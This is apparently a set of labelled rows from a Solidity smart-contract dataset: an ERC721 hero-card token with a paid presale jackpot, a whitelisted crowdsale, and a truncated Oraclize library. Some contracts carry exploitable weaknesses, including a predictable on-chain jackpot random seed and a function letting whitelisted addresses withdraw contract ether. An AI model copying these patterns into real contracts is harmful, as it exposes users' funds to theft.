require(owner != address(0));
require(_to != address(0));
require(owner == _from);
_transfer(_from, _to, _tokenId);
uint256 codeSize;
assembly { codeSize := extcodesize(_to) }
if (codeSize == 0) {
return;
}
bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(_from, _tokenId, data);
require(retval == 0xf0b9e5ba);
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
if (_from != address(0)) {
uint256 indexFrom = cardIdToOwnerIndex[_tokenId];
uint256[] storage cdArray = ownerToCardArray[_from];
require(cdArray[indexFrom] == _tokenId);
if (indexFrom != cdArray.length - 1) {
uint256 lastTokenId = cdArray[cdArray.length - 1];
cdArray[indexFrom] = lastTokenId;
cardIdToOwnerIndex[lastTokenId] = indexFrom;
}
cdArray.length -= 1;
if (cardIdToApprovals[_tokenId] != address(0)) {
delete cardIdToApprovals[_tokenId];
}
}
cardIdToOwner[_tokenId] = _to;
ownerToCardArray[_to].push(_tokenId);
cardIdToOwnerIndex[_tokenId] = ownerToCardArray[_to].length - 1;
emit Transfer(_from != address(0) ? _from : this, _to, _tokenId);
}
function createCard(address _owner, uint16[5] _attrs, uint16 _createType) external whenNotPaused returns(uint256){
require(actionContracts[msg.sender]);
require(_owner != address(0));
uint256 newCardId = cardArray.length;
require(newCardId < 4294967296);
cardArray.length += 1;
Card storage cd = cardArray[newCardId];
cd.protoId = _attrs[0];
cd.hero = _attrs[1];
cd.quality = _attrs[2];
cd.feature = _attrs[3];
cd.level = _attrs[4];
_transfer(0, _owner, newCardId);
emit CreateCard(_owner, newCardId, _attrs[0], _attrs[1], _attrs[2], _createType);
return newCardId;
}
function _changeAttrByIndex(Card storage _cd, uint16 _index, uint16 _val) internal {
if (_index == 2) {
_cd.quality = _val;
} else if(_index == 3) {
_cd.feature = _val;
} else if(_index == 4) {
_cd.level = _val;
} else if(_index == 5) {
_cd.attrExt1 = _val;
} else if(_index == 6) {
_cd.attrExt2 = _val;
}
}
function changeCardAttr(uint256 _tokenId, uint16[5] _idxArray, uint16[5] _params, uint16 _changeType) external whenNotPaused isValidToken(_tokenId) {
require(actionContracts[msg.sender]);
Card storage cd = cardArray[_tokenId];
if (_idxArray[0] > 0) _changeAttrByIndex(cd, _idxArray[0], _params[0]);
if (_idxArray[1] > 0) _changeAttrByIndex(cd, _idxArray[1], _params[1]);
if (_idxArray[2] > 0) _changeAttrByIndex(cd, _idxArray[2], _params[2]);
if (_idxArray[3] > 0) _changeAttrByIndex(cd, _idxArray[3], _params[3]);
if (_idxArray[4] > 0) _changeAttrByIndex(cd, _idxArray[4], _params[4]);
emit ChangeCard(cardIdToOwner[_tokenId], _tokenId, _changeType);
}
function destroyCard(uint256 _tokenId, uint16 _deleteType) external whenNotPaused isValidToken(_tokenId) {
require(actionContracts[msg.sender]);
address _from = cardIdToOwner[_tokenId];
uint256 indexFrom = cardIdToOwnerIndex[_tokenId];
uint256[] storage cdArray = ownerToCardArray[_from];
require(cdArray[indexFrom] == _tokenId);
if (indexFrom != cdArray.length - 1) {
uint256 lastTokenId = cdArray[cdArray.length - 1];
cdArray[indexFrom] = lastTokenId;
cardIdToOwnerIndex[lastTokenId] = indexFrom;
}
cdArray.length -= 1;
cardIdToOwner[_tokenId] = address(0);
delete cardIdToOwnerIndex[_tokenId];
destroyCardCount += 1;
emit Transfer(_from, 0, _tokenId);
emit DeleteCard(_from, _tokenId, _deleteType);
}
function safeTransferByContract(uint256 _tokenId, address _to) external whenNotPaused{
require(actionContracts[msg.sender]);
require(_tokenId >= 1 && _tokenId <= cardArray.length);
address owner = cardIdToOwner[_tokenId];
require(owner != address(0));
require(_to != address(0));
require(owner != _to);
_transfer(owner, _to, _tokenId);
}
function getCard(uint256 _tokenId) external view isValidToken(_tokenId) returns (uint16[7] datas) {
Card storage cd = cardArray[_tokenId];
datas[0] = cd.protoId;
datas[1] = cd.hero;
datas[2] = cd.quality;
datas[3] = cd.feature;
datas[4] = cd.level;
datas[5] = cd.attrExt1;
datas[6] = cd.attrExt2;
}
function getOwnCard(address _owner) external view returns(uint256[] tokens, uint32[] flags) {
require(_owner != address(0));
uint256[] storage cdArray = ownerToCardArray[_owner];
uint256 length = cdArray.length;
tokens = new uint256[](length);
flags = new uint32[](length);
for (uint256 i = 0; i < length; ++i) {
tokens[i] = cdArray[i];
Card storage cd = cardArray[cdArray[i]];
flags[i] = uint32(uint32(cd.protoId) * 1000 + uint32(cd.hero) * 10 + cd.quality);
}
}
function getCardAttrs(uint256[] _tokens) external view returns(uint16[] attrs) {
uint256 length = _tokens.length;
require(length <= 64);
attrs = new uint16[](length * 11);
uint256 tokenId;
uint256 index;
for (uint256 i = 0; i < length; ++i) {
tokenId = _tokens[i];
if (cardIdToOwner[tokenId] != address(0)) {
index = i * 11;
Card storage cd = cardArray[tokenId];
attrs[index] = cd.hero;
attrs[index + 1] = cd.quality;
attrs[index + 2] = cd.feature;
attrs[index + 3] = cd.level;
attrs[index + 4] = cd.attrExt1;
attrs[index + 5] = cd.attrExt2;
}
}
}
}
contract Presale is AccessService, Random {
ELHeroToken tokenContract;
mapping (uint16 => uint16) public cardPresaleCounter;
mapping (address => uint16[]) OwnerToPresale;
uint256 public jackpotBalance;
event CardPreSelled(address indexed buyer, uint16 protoId);
event Jackpot(address indexed _winner, uint256 _value, uint16 _type);
constructor(address _nftAddr) public {
addrAdmin = msg.sender;
addrService = msg.sender;
addrFinance = msg.sender;
tokenContract = ELHeroToken(_nftAddr);
cardPresaleCounter[1] = 20;
cardPresaleCounter[2] = 20;
cardPresaleCounter[3] = 20;
cardPresaleCounter[4] = 20;
cardPresaleCounter[5] = 20;
cardPresaleCounter[6] = 20;
cardPresaleCounter[7] = 20;
cardPresaleCounter[8] = 20;
cardPresaleCounter[9] = 20;
cardPresaleCounter[10] = 20;
cardPresaleCounter[11] = 20;
cardPresaleCounter[12] = 20;
cardPresaleCounter[13] = 20;
cardPresaleCounter[14] = 20;
cardPresaleCounter[15] = 20;
cardPresaleCounter[16] = 20;
cardPresaleCounter[17] = 20;
cardPresaleCounter[18] = 20;
cardPresaleCounter[19] = 20;
cardPresaleCounter[20] = 20;
cardPresaleCounter[21] = 20;
cardPresaleCounter[22] = 20;
cardPresaleCounter[23] = 20;
cardPresaleCounter[24] = 20;
cardPresaleCounter[25] = 20;
}
function() external payable {
require(msg.value > 0);
jackpotBalance += msg.value;
}
function setELHeroTokenAddr(address _nftAddr) external onlyAdmin {
tokenContract = ELHeroToken(_nftAddr);
}
function cardPresale(uint16 _protoId) external payable whenNotPaused{
uint16 curSupply = cardPresaleCounter[_protoId];
require(curSupply > 0);
require(msg.value == 0.25 ether);
uint16[] storage buyArray = OwnerToPresale[msg.sender];
uint16[5] memory param = [10000 + _protoId, _protoId, 6, 0, 1];
tokenContract.createCard(msg.sender, param, 1);
buyArray.push(_protoId);
cardPresaleCounter[_protoId] = curSupply - 1;
emit CardPreSelled(msg.sender, _protoId);
jackpotBalance += msg.value * 2 / 10;
addrFinance.transfer(address(this).balance - jackpotBalance);
uint256 seed = _rand();
if(seed % 100 == 99){
emit Jackpot(msg.sender, jackpotBalance, 2);
msg.sender.transfer(jackpotBalance);
}
}
function withdraw() external {
require(msg.sender == addrFinance || msg.sender == addrAdmin);
addrFinance.transfer(address(this).balance);
}
function getCardCanPresaleCount() external view returns (uint16[25] cntArray) {
cntArray[0] = cardPresaleCounter[1];
cntArray[1] = cardPresaleCounter[2];
cntArray[2] = cardPresaleCounter[3];
cntArray[3] = cardPresaleCounter[4];
cntArray[4] = cardPresaleCounter[5];
cntArray[5] = cardPresaleCounter[6];
cntArray[6] = cardPresaleCounter[7];
cntArray[7] = cardPresaleCounter[8];
cntArray[8] = cardPresaleCounter[9];
cntArray[9] = cardPresaleCounter[10];
cntArray[10] = cardPresaleCounter[11];
cntArray[11] = cardPresaleCounter[12];
cntArray[12] = cardPresaleCounter[13];
cntArray[13] = cardPresaleCounter[14];
cntArray[14] = cardPresaleCounter[15];
cntArray[15] = cardPresaleCounter[16];
cntArray[16] = cardPresaleCounter[17];
cntArray[17] = cardPresaleCounter[18];
cntArray[18] = cardPresaleCounter[19];
cntArray[19] = cardPresaleCounter[20];
cntArray[20] = cardPresaleCounter[21];
cntArray[21] = cardPresaleCounter[22];
cntArray[22] = cardPresaleCounter[23];
cntArray[23] = cardPresaleCounter[24];
cntArray[24] = cardPresaleCounter[25];
}
function getBuyCount(address _owner) external view returns (uint32) {
return uint32(OwnerToPresale[_owner].length);
}
function getBuyArray(address _owner) external view returns (uint16[]) {
uint16[] storage buyArray = OwnerToPresale[_owner];
return buyArray;
}
function eventPirze(address _addr, uint8 _id) public onlyAdmin{
require(_id == 20 || _id == 21);
uint16 curSupply = cardPresaleCounter[_id];
require(curSupply > 0);
uint16[] storage buyArray = OwnerToPresale[_addr];
uint16[5] memory param = [10000 + _id, _id, 6, 0, 1];
tokenContract.createCard(_addr, param, 1);
buyArray.push(_id);
cardPresaleCounter[_id] = curSupply - 1;
}
} | 1 | 5,345 |
pragma solidity ^0.4.21;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract Whitelist is Ownable {
mapping(address => bool) public whitelist;
event WhitelistedAddressAdded(address addr);
event WhitelistedAddressRemoved(address addr);
modifier onlyWhitelisted() {
require(whitelist[msg.sender]);
_;
}
function addAddressToWhitelist(address addr) onlyOwner public returns(bool success) {
if (!whitelist[addr]) {
whitelist[addr] = true;
emit WhitelistedAddressAdded(addr);
success = true;
}
}
function addAddressesToWhitelist(address[] addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (addAddressToWhitelist(addrs[i])) {
success = true;
}
}
}
function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) {
if (whitelist[addr]) {
whitelist[addr] = false;
emit WhitelistedAddressRemoved(addr);
success = true;
}
}
function removeAddressesFromWhitelist(address[] addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (removeAddressFromWhitelist(addrs[i])) {
success = true;
}
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract TokenSale is Ownable, CappedCrowdsale, FinalizableCrowdsale, Whitelist, Pausable {
bool public initialized;
uint[10] public rates;
uint[10] public times;
uint public noOfWaves;
address public wallet;
address public reserveWallet;
uint public minContribution;
uint public maxContribution;
function TokenSale(uint _openingTime, uint _endTime, uint _rate, uint _hardCap, ERC20 _token, address _reserveWallet, uint _minContribution, uint _maxContribution)
Crowdsale(_rate, _reserveWallet, _token)
CappedCrowdsale(_hardCap) TimedCrowdsale(_openingTime, _endTime) {
require(_token != address(0));
require(_reserveWallet !=address(0));
require(_maxContribution > 0);
require(_minContribution > 0);
reserveWallet = _reserveWallet;
minContribution = _minContribution;
maxContribution = _maxContribution;
}
function initRates(uint[] _rates, uint[] _times) external onlyOwner {
require(now < openingTime);
require(_rates.length == _times.length);
require(_rates.length > 0);
noOfWaves = _rates.length;
for(uint8 i=0;i<_rates.length;i++) {
rates[i] = _rates[i];
times[i] = _times[i];
}
initialized = true;
}
function getCurrentRate() public view returns (uint256) {
for(uint i=0;i<noOfWaves;i++) {
if(now <= times[i]) {
return rates[i];
}
}
return 0;
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint rate = getCurrentRate();
return _weiAmount.mul(rate);
}
function setWallet(address _wallet) onlyOwner public {
wallet = _wallet;
}
function setReserveWallet(address _reserve) onlyOwner public {
require(_reserve != address(0));
reserveWallet = _reserve;
}
function setMinContribution(uint _min) onlyOwner public {
require(_min > 0);
minContribution = _min;
}
function setMaxContribution(uint _max) onlyOwner public {
require(_max > 0);
maxContribution = _max;
}
function finalization() internal {
require(wallet != address(0));
wallet.transfer(this.balance);
token.transfer(reserveWallet, token.balanceOf(this));
super.finalization();
}
function _forwardFunds() internal {
}
function withdrawFunds(uint value) onlyWhitelisted external {
require(this.balance >= value);
msg.sender.transfer(value);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) whenNotPaused internal {
require(_weiAmount >= minContribution);
require(_weiAmount <= maxContribution);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
} | 1 | 3,675 |
pragma solidity ^0.4.18;
pragma solidity ^0.4.18;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
